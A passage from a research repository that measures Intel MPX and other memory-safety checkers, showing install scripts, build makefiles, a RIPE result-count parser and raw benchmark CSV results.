for i in 1 2; do cat word_100MB.txt >> key_200MB.txt; done; 17 | touch key_400MB.txt; for i in 1 2 3 4; do cat word_100MB.txt >> key_400MB.txt; done; 18 | cd - 19 | -------------------------------------------------------------------------------- /experiments/ripe/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011 John Wilander (@johnwilander) and Nick Nikiforakis (@nicknikiforakis) 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /experiments/ripe/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tudinfse/intel_mpx_explained/9a3d7b060742d8fe89c1b56898f2b2e3617b670b/experiments/ripe/__init__.py -------------------------------------------------------------------------------- /experiments/ripe/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from __future__ import absolute_import 3 | 4 | from core import collect 5 | 6 | 7 | def main(): 8 | collect.collect("ripe", user_parameters={ 9 | "ok": ["TOTAL OK:", lambda l: collect.get_int_from_string(l)], 10 | "some": ["TOTAL SOME:", lambda l: collect.get_int_from_string(l)], 11 | "fail": ["TOTAL FAIL:", lambda l: collect.get_int_from_string(l)], 12 | "notpossible": ["TOTAL NP:", lambda l: collect.get_int_from_string(l)], 13 | "total": ["TOTAL ATTACKS:", lambda l: collect.get_int_from_string(l)], 14 | }) 15 | -------------------------------------------------------------------------------- /install/benchmarks/apache.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | echo "Installing Apache..." 5 | 6 | apt-get install -y libtext-lorem-perl apache2-utils automake 7 | 8 | source ${PROJ_ROOT}/install/common.sh 9 | 10 | SRC_PATH="${BIN_PATH}/httpd/src" 11 | VERSION="2.4.18" 12 | 13 | mkdir -p ${BIN_PATH}/httpd 14 | download_and_link httpd-${VERSION} https://archive.apache.org/dist/httpd/httpd-${VERSION}.tar.gz ${SRC_PATH} 15 | 16 | install_dependency "Apache libraries" "${PROJ_ROOT}/install/dependencies/apache_libs.sh" 17 | 18 | echo "Apache installed" 19 | -------------------------------------------------------------------------------- /install/benchmarks/memcached.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | echo "Installing Memcached..." 5 | 6 | apt-get install -y automake autogen autoconf libtool 7 | 8 | source ${PROJ_ROOT}/install/common.sh 9 | 10 | SRC_PATH="${BIN_PATH}/memcached/src" 11 | VERSION="1.4.15" 12 | 13 | # download 14 | mkdir -p ${BIN_PATH}/memcached 15 | clone_github_and_link memcached-${VERSION} https://github.com/memcached/memcached.git ${SRC_PATH} ${VERSION} ${PROJ_ROOT}/install/benchmarks/memcached/memcached.1.4.15.patch 16 | 17 | install_dependency "Memslap" "${PROJ_ROOT}/install/dependencies/memslap.sh" 18 | 19 | echo "Memcached installed" 20 | -------------------------------------------------------------------------------- /install/benchmarks/nginx.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -e 3 | 4 | source ${PROJ_ROOT}/install/common.sh 5 | apt-get install -y libssl-dev libtext-lorem-perl apache2-utils 6 | 7 | # nginx requires X permission for all users on the path: http://stackoverflow.com/questions/6795350/nginx-403-forbidden-for-all-files 8 | chmod o+x /root 9 | 10 | # ============ 11 | # nginx 12 | # ============ 13 | SRC_PATH="${BIN_PATH}/nginx/src" 14 | VERSION="1.4.0" 15 | 16 | mkdir ${BIN_PATH}/nginx 17 | download_and_link nginx-${VERSION} http://nginx.org/download/nginx-${VERSION}.tar.gz ${SRC_PATH} 18 | 19 | sed -i "s/name\[1\]/name\[0\]/g" $SRC_PATH/src/core/ngx_hash.h 20 | -------------------------------------------------------------------------------- /install/benchmarks/parsec.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -euo pipefail 3 | IFS=$'\n\t' 4 | 5 | echo "Installing Parsec..." 6 | source ${PROJ_ROOT}/install/common.sh 7 | 8 | apt-get install -y pkg-config gettext automake \ 9 | libbsd-dev libx11-dev x11proto-xext-dev libxext-dev libxt-dev libxi-dev libxmu-dev \ 10 | libglib2.0-dev 11 | 12 | install_dependency "Parsec inputs" "${PROJ_ROOT}/install/dependencies/parsec_inputs.sh" 13 | install_dependency "Parsec libraries" "${PROJ_ROOT}/install/dependencies/parsec_libs.sh" 14 | 15 | echo "Parsec installed" 16 | -------------------------------------------------------------------------------- /install/benchmarks/parsec/parsec-hgignore: -------------------------------------------------------------------------------- 1 | syntax: glob 2 | 3 | # ignore inputs 4 | *.tar 5 | 6 | log/* 7 | toolkit/* 8 | 9 | */inst/* 10 | */obj/* 11 | */run/* 12 | -------------------------------------------------------------------------------- /install/benchmarks/phoenix.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo "Installing Phoenix..." 4 | 5 | source ${PROJ_ROOT}/install/common.sh 6 | apt-get install -y wget libc6-dev-i386 7 | 8 | install_dependency "Phoenix inputs" "${PROJ_ROOT}/install/dependencies/phoenix_inputs.sh" 9 | 10 | echo "Phoenix installed" 11 | -------------------------------------------------------------------------------- /install/compilers/gcc-6.1.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo "Installing GCC..." 4 | 5 | apt-get install -y libgmp3-dev libmpfr-dev libmpfr-doc libmpfr4 libmpfr4-dbg libmpc-dev build-essential libc6-dev-i386 zlib1g-dev libncurses-dev libtool 6 | 7 | 8 | set -e 9 | source ${PROJ_ROOT}/install/common.sh 10 | 11 | SRC_PATH="${BIN_PATH}/gcc/src" 12 | BUILD_PATH="${BIN_PATH}/gcc/build" 13 | INSTALL_PATH="/usr/" 14 | VERSION="6.1.0" 15 | 16 | # download 17 | mkdir -p ${BIN_PATH}/gcc 18 | download_and_link gcc-${VERSION} ftp://ftp.fu-berlin.de/unix/languages/gcc/releases/gcc-${VERSION}/gcc-${VERSION}.tar.gz ${SRC_PATH} 19 | 20 | # isl 21 | cd /data/ 22 | wget ftp://gcc.gnu.org/pub/gcc/infrastructure/isl-0.15.tar.bz2 23 | tar xf isl-0.15.tar.bz2 24 | mv isl-0.15 ${SRC_PATH}/isl/ 25 | cd - 26 | 27 | # configure 28 | mkdir -p ${BUILD_PATH} 29 | cd ${BUILD_PATH} 30 | ${SRC_PATH}/configure --enable-languages=c,c++ --enable-libmpx --enable-multilib --prefix=${INSTALL_PATH} --with-system-zlib 31 | 32 | # install 33 | make -j8 34 | make install 35 | 36 | cd - 37 | 38 | install_dependency "BinUtils" "${PROJ_ROOT}/install/dependencies/binutils.sh" 39 | 40 | set +e 41 | 42 | echo "GCC installed" 43 | -------------------------------------------------------------------------------- /install/compilers/patch-icc.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # Replace ICC libraries with GCC ones in order for them to work correctly with MPX 3 | 4 | LIBMPX_DIR=$(dirname $(which icc))/../../compiler/lib/intel64_lin/ 5 | mv $LIBMPX_DIR/libmpx.so $LIBMPX_DIR/libmpx.old.so -------------------------------------------------------------------------------- /install/compilers/pin-3.0.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | source ${PROJ_ROOT}/install/common.sh 5 | 6 | # ============ 7 | # Intel Pin 8 | # ============ 9 | ULRNAME="pin-3.0-76991-gcc-linux" 10 | NAME="pin" 11 | 12 | # download 13 | mkdir -p ${BIN_PATH} 14 | cd ${BIN_PATH} 15 | wget -nc http://software.intel.com/sites/landingpage/pintool/downloads/${ULRNAME}.tar.gz 16 | tar xf ${ULRNAME}.tar.gz 17 | rm -rf ${NAME} 18 | mv ${ULRNAME} ${NAME} 19 | 20 | export PIN_ROOT=${BIN_PATH}/${NAME} 21 | 22 | cd - 23 | make -C ${PROJ_ROOT}/install/compilers/pintool 24 | ln -s ${PROJ_ROOT}/install/compilers/pintool/obj-intel64/mpxinscount.so ${PIN_ROOT}/mpxinscount.so 25 | 26 | set +e 27 | -------------------------------------------------------------------------------- /install/compilers/pintool/Makefile: -------------------------------------------------------------------------------- 1 | ifndef PIN_ROOT 2 | $(error specify PIN_ROOT to point to the PIN kit root directory) 3 | endif 4 | 5 | override PIN_ROOT := $(PIN_ROOT) 6 | CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config 7 | 8 | include $(CONFIG_ROOT)/makefile.config 9 | include Makefile.rules 10 | include $(TOOLS_ROOT)/Config/makefile.default.rules 11 | -------------------------------------------------------------------------------- /install/compilers/pintool/Makefile.rules: -------------------------------------------------------------------------------- 1 | TEST_TOOL_ROOTS := mpxinscount 2 | TEST_ROOTS := 3 | SANITY_SUBSET := 4 | TOOL_ROOTS := 5 | SA_TOOL_ROOTS := 6 | APP_ROOTS := 7 | OBJECT_ROOTS := 8 | DLL_ROOTS := 9 | LIB_ROOTS := 10 | -------------------------------------------------------------------------------- /install/compilers/softbound-llvm-3.8.0.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | apt-get install -y unzip 4 | set -e 5 | source ${PROJ_ROOT}/install/common.sh 6 | 7 | # ============ 8 | # SoftBound 9 | # ============ 10 | NAME="softboundcets" 11 | VERSION="3.8.0" 12 | 13 | SRC_PATH="${BIN_PATH}/${NAME}/src" 14 | BUILD_PATH="${BIN_PATH}/${NAME}/build" 15 | 16 | LLVM_SRC_PATH="${SRC_PATH}/llvm-38" 17 | LLVM_BUILD_PATH="${BUILD_PATH}/llvm" 18 | 19 | RT_SRC_PATH="${SRC_PATH}/runtime" 20 | 21 | # download 22 | mkdir -p ${BIN_PATH}/${NAME} 23 | download_github_and_link ${NAME}-${VERSION} https://github.com/santoshn/${NAME}-${VERSION}/archive/master.zip ${SRC_PATH} 24 | 25 | # build LLVM 26 | mkdir -p ${LLVM_BUILD_PATH} 27 | cd ${LLVM_BUILD_PATH} 28 | cmake ${LLVM_SRC_PATH} 29 | make -j8 30 | 31 | # build runtime 32 | export PATH=${LLVM_BUILD_PATH}/bin:$PATH 33 | cd ${RT_SRC_PATH} 34 | make 35 | 36 | set +e 37 | -------------------------------------------------------------------------------- /install/dependencies/apache_libs.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | source ${PROJ_ROOT}/install/common.sh 4 | 5 | echo "Downloading libraries..." 6 | cd ${DATA_PATH}/ 7 | 8 | if [ -d "apache_libs" ]; then 9 | rm -rf apache_libs/ 10 | fi 11 | mkdir apache_libs/ 12 | 13 | set +e 14 | wget -nc https://wwwpub.zih.tu-dresden.de/~s7030030/apache_libs.tar.gz 15 | set -e 16 | 17 | tar xf apache_libs.tar.gz -C apache_libs/ 18 | rm apache_libs.tar.gz 19 | 20 | cd - 21 | 22 | echo "Preparing libraries..." 23 | cd ${DATA_PATH}/apache_libs/ 24 | 25 | for lib in *; do 26 | if [ -d "${lib}" ]; then 27 | cp -r ${lib}/src/ ${PROJ_ROOT}/src/libs/${lib}/src/ 28 | fi 29 | done 30 | 31 | # add missing files 32 | cd ${PROJ_ROOT}/src/libs 33 | mkdir -p pcre/src/doc 34 | touch pcre/src/doc/perltest.txt pcre/src/doc/index.html.src 35 | 36 | echo "Libraries installed" 37 | -------------------------------------------------------------------------------- /install/dependencies/binutils.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | source ${PROJ_ROOT}/install/common.sh 4 | 5 | # ============ 6 | # binutils 7 | # ============ 8 | SRC_PATH="${BIN_PATH}/binutils/src" 9 | BUILD_PATH="${BIN_PATH}/binutils/build" 10 | VERSION="2.26.1" 11 | 12 | mkdir -p ${BIN_PATH}/binutils 13 | download_and_link binutils-${VERSION} http://ftp.gnu.org/gnu/binutils/binutils-${VERSION}.tar.gz ${SRC_PATH} 14 | 15 | # configure 16 | mkdir -p ${BUILD_PATH} 17 | cd ${BUILD_PATH} 18 | CXXFLAGS="-Wno-unused-function -O2" ${SRC_PATH}/configure --enable-gold=yes --enable-ld=yes 19 | 20 | # install 21 | make -j8 22 | make install 23 | -------------------------------------------------------------------------------- /install/dependencies/gdb.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | source ${PROJ_ROOT}/install/common.sh 4 | # ============ 5 | # gdb 6 | # ============ 7 | SRC_PATH="${BIN_PATH}/gdb/src" 8 | BUILD_PATH="${BIN_PATH}/gdb/build" 9 | VERSION="7.11" 10 | 11 | mkdir -p ${BIN_PATH}/gdb 12 | download_and_link gdb-${VERSION} http://ftp.gnu.org/gnu/gdb/gdb-${VERSION}.tar.gz ${SRC_PATH} 13 | 14 | # configure 15 | mkdir -p ${BUILD_PATH} 16 | cd ${BUILD_PATH} 17 | ${SRC_PATH}/configure --enable-tui --enable-gold --enable-lto 18 | 19 | # install 20 | make -j8 21 | make install 22 | 23 | 24 | cd - 25 | -------------------------------------------------------------------------------- /install/dependencies/gold-linker.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo "Installing Gold Linker..." 4 | 5 | NAME="binutils_gold" 6 | 7 | SRC_PATH="${BIN_PATH}/${NAME}/src" 8 | BUILD_PATH="${BIN_PATH}/${NAME}/build" 9 | INSTALL_PATH="${BIN_PATH}/${NAME}/install" 10 | 11 | # download 12 | mkdir -p ${BIN_PATH}/${NAME} 13 | cd /data/ 14 | 15 | set +e 16 | git clone git://sourceware.org/git/binutils-gdb.git 17 | set -e 18 | 19 | ln -s /data/binutils-gdb ${SRC_PATH} 20 | 21 | cd - 22 | 23 | # configure 24 | mkdir -p ${BUILD_PATH} 25 | cd ${BUILD_PATH} 26 | ${SRC_PATH}/configure --enable-gold --enable-plugins --disable-werror --prefix=${INSTALL_PATH} 27 | 28 | # build 29 | make 30 | make install 31 | 32 | # replace the linker 33 | rm $INSTALL_PATH/bin/ld 34 | ln $INSTALL_PATH/bin/ld.gold $INSTALL_PATH/bin/ld 35 | 36 | cd - 37 | 38 | echo "Linker installed" 39 | -------------------------------------------------------------------------------- /install/dependencies/memslap.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cd ${DATA_PATH}/ 4 | 5 | # below are installation instructions for libmemcached & memaslap client (install on client machine) 6 | 7 | # download 8 | wget https://launchpad.net/libmemcached/1.0/1.0.16/+download/libmemcached-1.0.16.tar.gz 9 | tar xf libmemcached-1.0.16.tar.gz 10 | cd libmemcached-1.0.16 11 | 12 | # build 13 | CFLAGS=-pthread LDFLAGS=-pthread LIBS=-levent ./configure --enable-memaslap 14 | sed -i "s/#am__append_42 = clients\/memaslap/am__append_42 = clients\/memaslap/g" Makefile 15 | sed -i "s/#am__EXEEXT_2 = clients\/memaslap/am__EXEEXT_2 = clients\/memaslap/g" Makefile 16 | make 17 | 18 | # install 19 | sudo make install 20 | 21 | cd - 22 | -------------------------------------------------------------------------------- /install/dependencies/parsec_inputs.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo "Downloading inputs..." 4 | cd ${DATA_PATH}/ 5 | 6 | if [ -d "inputs" ]; then 7 | rm -rf inputs/parsec/ 8 | fi 9 | mkdir -p inputs/ 10 | 11 | set +e 12 | wget -nc https://wwwpub.zih.tu-dresden.de/~s7030030/parsec-inputs.tar.gz 13 | set -e 14 | 15 | tar xf parsec-inputs.tar.gz -C inputs/ 16 | rm parsec-inputs.tar.gz 17 | 18 | echo "Inputs installed" 19 | 20 | cd - 21 | -------------------------------------------------------------------------------- /install/dependencies/parsec_libs.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo "Downloading libraries..." 4 | cd ${DATA_PATH}/ 5 | 6 | if [ -d "parsec_libs" ]; then 7 | rm -rf parsec_libs/ 8 | fi 9 | mkdir parsec_libs/ 10 | 11 | set +e 12 | wget -nc https://wwwpub.zih.tu-dresden.de/~s7030030/parsec_libs.tar.gz 13 | set -e 14 | 15 | tar xf parsec_libs.tar.gz -C parsec_libs/ 16 | rm parsec_libs.tar.gz 17 | 18 | cd - 19 | 20 | echo "Preparing libraries..." 21 | cd ${DATA_PATH}/parsec_libs/ 22 | 23 | for lib in *; do 24 | if [ -d "${lib}" ]; then 25 | cp -r ${lib}/src/ ${PROJ_ROOT}/src/libs/${lib}/src/ 26 | fi 27 | done 28 | 29 | echo "Libraries installed" 30 | -------------------------------------------------------------------------------- /install/dependencies/phoenix_inputs.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo "Downloading inputs..." 4 | 5 | set -x #echo on 6 | 7 | declare -a benchmarks=("histogram" "linear_regression" "string_match" "word_count") 8 | 9 | mkdir -p $DATA_PATH/inputs/phoenix/ 10 | cd $DATA_PATH/inputs/phoenix/ 11 | 12 | for bmidx in "${!benchmarks[@]}"; do 13 | bm="${benchmarks[$bmidx]}" 14 | 15 | wget -nc http://csl.stanford.edu/~christos/data/${bm}.tar.gz 16 | tar -xzf ${bm}.tar.gz 17 | mkdir -p ${bm}/input/ 18 | mv -uf ${bm}_datafiles/* ${bm}/input/ 19 | rm -rf ${bm}_datafiles/ 20 | done 21 | 22 | cd - 23 | 24 | echo "Inputs installed" 25 | -------------------------------------------------------------------------------- /install/dependencies/ycsb_traces.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo "Downloading traces..." 4 | cd ${DATA_PATH}/ 5 | 6 | if [ -d "inputs" ]; then 7 | rm -rf inputs/ycsb-traces/ 8 | fi 9 | mkdir -p inputs/ 10 | 11 | set +e 12 | wget -nc https://wwwpub.zih.tu-dresden.de/~s7030030/ycsb-traces.tar.gz 13 | set -e 14 | 15 | tar xf ycsb-traces.tar.gz -C inputs/ 16 | rm ycsb-traces.tar.gz 17 | 18 | echo "Traces installed" 19 | 20 | cd - 21 | -------------------------------------------------------------------------------- /install/libs/README.md: -------------------------------------------------------------------------------- 1 | # Why empty? 2 | 3 | All required libraries for MPX go here. 4 | This path is added to `LD_LIBRARY_PATH` in the `entropoint.py` file. 5 | For legal reasons, these libraries are not stored in the repository. 6 | -------------------------------------------------------------------------------- /makefiles/Makefile.clang_asan: -------------------------------------------------------------------------------- 1 | include Makefile.clang_native 2 | 3 | CCFLAGS += -fsanitize=address 4 | LDFLAGS += -fsanitize=address 5 | -------------------------------------------------------------------------------- /makefiles/Makefile.clang_asan_debug: -------------------------------------------------------------------------------- 1 | include Makefile.clang_native 2 | 3 | CCFLAGS += -fsanitize=address -fno-omit-frame-pointer 4 | LDFLAGS += -fsanitize=address -lasan 5 | -------------------------------------------------------------------------------- /makefiles/Makefile.clang_asan_no_quarantine: -------------------------------------------------------------------------------- 1 | include Makefile.clang_asan 2 | 3 | # dummy, no changes in the build process 4 | # the sole purpose is to have a different build name 5 | 6 | # real change - in the 'core/environment.py:ASanEnvironment' 7 | # quarantine_size_mb must be set to 1 8 | -------------------------------------------------------------------------------- /makefiles/Makefile.clang_native: -------------------------------------------------------------------------------- 1 | include clang_constants.mk 2 | include common.mk 3 | 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_asan: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_native 2 | 3 | CCFLAGS += -fsanitize=address 4 | LDFLAGS += -fsanitize=address 5 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_asan_debug: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_native 2 | 3 | CCFLAGS += -fsanitize=address -fno-omit-frame-pointer 4 | LDFLAGS += -fsanitize=address -lasan 5 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_asan_only_write: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_native 2 | 3 | CCFLAGS += -fsanitize=address --param asan-instrument-reads=0 4 | LDFLAGS += -fsanitize=address --param asan-instrument-reads=0 5 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_mpx: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_native 2 | 3 | #UTILS := $(PROJ_ROOT)/src/util/icc_wrappers/__intel_new_feature_proc_init.c $(UTILS) 4 | CCFLAGS += -fcheck-pointer-bounds -mmpx 5 | LIBS += -lmpx -lmpxwrappers 6 | 7 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_mpx_first_field: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_mpx 2 | 3 | CCFLAGS += -fchkp-first-field-has-own-bounds 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_mpx_no_narrow_bounds: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_mpx 2 | 3 | CCFLAGS += -fno-chkp-narrow-bounds 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_mpx_no_narrow_bounds_only_write: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_mpx 2 | 3 | CCFLAGS += -fno-chkp-narrow-bounds -fno-chkp-check-read 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_mpx_only_write: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_mpx 2 | 3 | CCFLAGS += -fno-chkp-check-read 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_mpx_sw_disabled: -------------------------------------------------------------------------------- 1 | include Makefile.gcc_mpx 2 | 3 | LIB_DIRS := /usr/libdummy/ $(LIB_DIRS) 4 | 5 | -------------------------------------------------------------------------------- /makefiles/Makefile.gcc_native: -------------------------------------------------------------------------------- 1 | include gcc_constants.mk 2 | include common.mk 3 | 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.icc_mpx: -------------------------------------------------------------------------------- 1 | include Makefile.icc_native 2 | 3 | UTILS := $(PROJ_ROOT)/src/util/icc_wrappers/__intel_new_feature_proc_init.c $(UTILS) 4 | CCFLAGS += -check-pointers-mpx=rw 5 | LIBS += -lmpx 6 | 7 | -------------------------------------------------------------------------------- /makefiles/Makefile.icc_mpx_no_narrow_bounds: -------------------------------------------------------------------------------- 1 | include Makefile.icc_mpx 2 | 3 | CCFLAGS += -no-check-pointers-narrowing 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.icc_mpx_no_narrow_bounds_only_write: -------------------------------------------------------------------------------- 1 | include Makefile.icc_native 2 | 3 | UTILS := $(PROJ_ROOT)/src/util/icc_wrappers/__intel_new_feature_proc_init.c $(UTILS) 4 | CCFLAGS += -check-pointers-mpx=write -no-check-pointers-narrowing 5 | LIBS += -lmpx 6 | -------------------------------------------------------------------------------- /makefiles/Makefile.icc_mpx_only_write: -------------------------------------------------------------------------------- 1 | include Makefile.icc_native 2 | 3 | UTILS := $(PROJ_ROOT)/src/util/icc_wrappers/__intel_new_feature_proc_init.c $(UTILS) 4 | CCFLAGS += -check-pointers-mpx=write 5 | LIBS += -lmpx 6 | -------------------------------------------------------------------------------- /makefiles/Makefile.icc_native: -------------------------------------------------------------------------------- 1 | include icc_constants.mk 2 | include common.mk 3 | 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.icc_ptr: -------------------------------------------------------------------------------- 1 | include Makefile.icc_native 2 | 3 | CCFLAGS += -check-pointers=rw 4 | -------------------------------------------------------------------------------- /makefiles/Makefile.safecode_enabled: -------------------------------------------------------------------------------- 1 | include Makefile.safecode_native 2 | 3 | CCFLAGS += -fmemsafety -g -fmemsafety-terminate -stack-protector=1 4 | LIB_DIRS += $(GOLD_PATH)/lib 5 | -------------------------------------------------------------------------------- /makefiles/Makefile.safecode_native: -------------------------------------------------------------------------------- 1 | # CLANG_SOFTBOUND_PATH and SOFTBOUND_RUNTIME_PATH are defined in local.mk 2 | 3 | include Makefile.clang_native 4 | 5 | CCFLAGS += -g 6 | 7 | # change the used LLVM build 8 | CLANG_PATH := $(CLANG_SAFECODE_PATH) 9 | -------------------------------------------------------------------------------- /makefiles/Makefile.softbound_enabled: -------------------------------------------------------------------------------- 1 | # CLANG_SOFTBOUND_PATH and SOFTBOUND_RUNTIME_PATH are defined in local.mk 2 | # NB! Requires PATH=/gold/binutils/path/bin/:....:/softbound/3.4/path/Release+Asserts/bin/ 3 | # and LLVM_GOLD=${BIN_PATH}/softboundcets/build/llvm/Release+Asserts/lib/LLVMgold.so 4 | # and if there's /usr/bin/clang, it should point to softbound version 5 | 6 | include Makefile.softbound_native 7 | 8 | CCFLAGS += -fsoftboundcets -flto -fno-vectorize # with version 3.4.0 use -fno-vectorize 9 | LIB_DIRS += $(SOFTBOUND_RUNTIME_PATH) 10 | LIBS += -lm -lrt # with version 3.4.0 don't use -lsoftboundcets_rt 11 | -------------------------------------------------------------------------------- /makefiles/Makefile.softbound_native: -------------------------------------------------------------------------------- 1 | # CLANG_SOFTBOUND_PATH and SOFTBOUND_RUNTIME_PATH are defined in local.mk 2 | # NB! Requires PATH=/gold/binutils/path/bin/:....:/softbound/3.4/path/Release+Asserts/bin/ 3 | # and LLVM_GOLD=${BIN_PATH}/softboundcets/build/llvm/Release+Asserts/lib/LLVMgold.so 4 | # and if there's /usr/bin/clang, it should point to softbound version 5 | 6 | include Makefile.clang_native 7 | 8 | # change the used LLVM build 9 | CLANG_PATH := $(CLANG_SOFTBOUND_PATH) 10 | 11 | PATH := $(GOLD_PATH)/bin/:$(PATH) 12 | -------------------------------------------------------------------------------- /makefiles/clang_constants.mk: -------------------------------------------------------------------------------- 1 | # Clang constants 2 | 3 | # object file extension 4 | OBJ_EXT := o 5 | 6 | # == make constants 7 | # CLANG_PATH is defined in local.mk 8 | # but we use = instead of := to make sure that CLANG_PATH can be changed afterwards 9 | CC = $(CLANG_PATH)/clang 10 | CXX = $(CLANG_PATH)/clang++ 11 | LD := ld 12 | LDRELOC := -r 13 | RANLIB := ranlib 14 | 15 | -------------------------------------------------------------------------------- /makefiles/clang_gold_constants.mk: -------------------------------------------------------------------------------- 1 | # Clang with Gold linker 2 | include clang_constants.mk 3 | 4 | # GOLD_PATH is defined in local.mk 5 | CCFLAGS += "-flto" 6 | export PATH="$GOLD_PATH/bin:$PATH" 7 | 8 | RANLIB=/bin/true #ranlib is not needed, and doesn't support .bc files in .a 9 | 10 | -------------------------------------------------------------------------------- /makefiles/gcc_constants.mk: -------------------------------------------------------------------------------- 1 | # GCC constants 2 | 3 | # object file extension 4 | OBJ_EXT := o 5 | 6 | # make constants 7 | CC := gcc 8 | CXX := g++ 9 | LD := ld 10 | LDRELOC := -r 11 | RANLIB := ranlib 12 | 13 | -------------------------------------------------------------------------------- /makefiles/icc_constants.mk: -------------------------------------------------------------------------------- 1 | # ICC constants 2 | 3 | # object file extension 4 | OBJ_EXT := o 5 | 6 | # make constants 7 | CC := icc 8 | CXX := icpc 9 | LD := ld 10 | LDRELOC := -r 11 | RANLIB := ranlib 12 | 13 | -------------------------------------------------------------------------------- /makefiles/local.mk: -------------------------------------------------------------------------------- 1 | # path to native clang/llvm build with executables 2 | CLANG_PATH := ${BIN_PATH}/llvm/build/bin 3 | 4 | # Gold plugin 5 | GOLD_PATH := ${BIN_PATH}/binutils_gold/install 6 | 7 | # SouftBound directories 8 | CLANG_SOFTBOUND_PATH := ${BIN_PATH}/softboundcets/build/llvm/Release+Asserts/bin 9 | SOFTBOUND_RUNTIME_PATH := ${BIN_PATH}/softboundcets/src/softboundcets-lib/lto 10 | 11 | # SAFECode directories 12 | CLANG_SAFECODE_PATH := ${GOLD_PATH}/bin/ 13 | 14 | # path to sgx-musl repository 15 | SGXMUSL_PATH := $(HOME)/code/sgx/sgx-musl 16 | 17 | -------------------------------------------------------------------------------- /raw_results/merged/multithreading.csv: -------------------------------------------------------------------------------- 1 | name,gcc-native,clang-asan,icc-mpx,gcc-mpx 2 | Phoenix,1.8801401360854533,1.867282876570769,1.5564082164814999,1.3320296701948606 3 | PARSEC,2.1036002072807043,1.8622870749468337,1.799550691277351,1.8706892121981464 4 | linearreg,2.1545889626954837,1.955826483441585,1.7348419779982949,0.6090966202531053 5 | smatch,2.4629261447026978,1.6763501675615238,2.1515078692488054,2.1009119751801464 6 | matrixmul,1.0431242048073401,1.4568896944334564,0.9551485985860212,1.2974644652026555 7 | wordcnt,2.038994272401065,1.8170770183470726,0.9050764884090662,0.650620353445464 8 | vips,2.169943158982261,2.005663852106307,,2.037270248025975 9 | streamcluster,2.5668135985321143,2.6916003318325696,1.8076715217801966,1.931313510109707 10 | raytrace,1.9245764210614533,1.0848391584293864,,1.7273085902232372 11 | swaptions,3.35436198060685,2.2383784545352,2.158841955855485,2.52780631978912 12 | 13 | -------------------------------------------------------------------------------- /raw_results/mpx_instructions/parsec_blackscholes/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,memory_reads,sgxtime,sgxmem,bndcl,mpxerrors,mpxbtnum,instructions,bndmk,bndldx,bndcu,bndmovmem,memory_writes,bndmovreg,bndstx 2 | blackscholes,icc,mpx,1,native,119028871008,,,7028750061,,,421112499505,19,10000012,7080000061,3230000304,41128740900,5,70000014 3 | blackscholes,icc,mpx_only_write,1,native,119028869105,,,1016250000,,,407066242881,19,10000006,1060000000,1220000282,41128740092,0,70000008 4 | 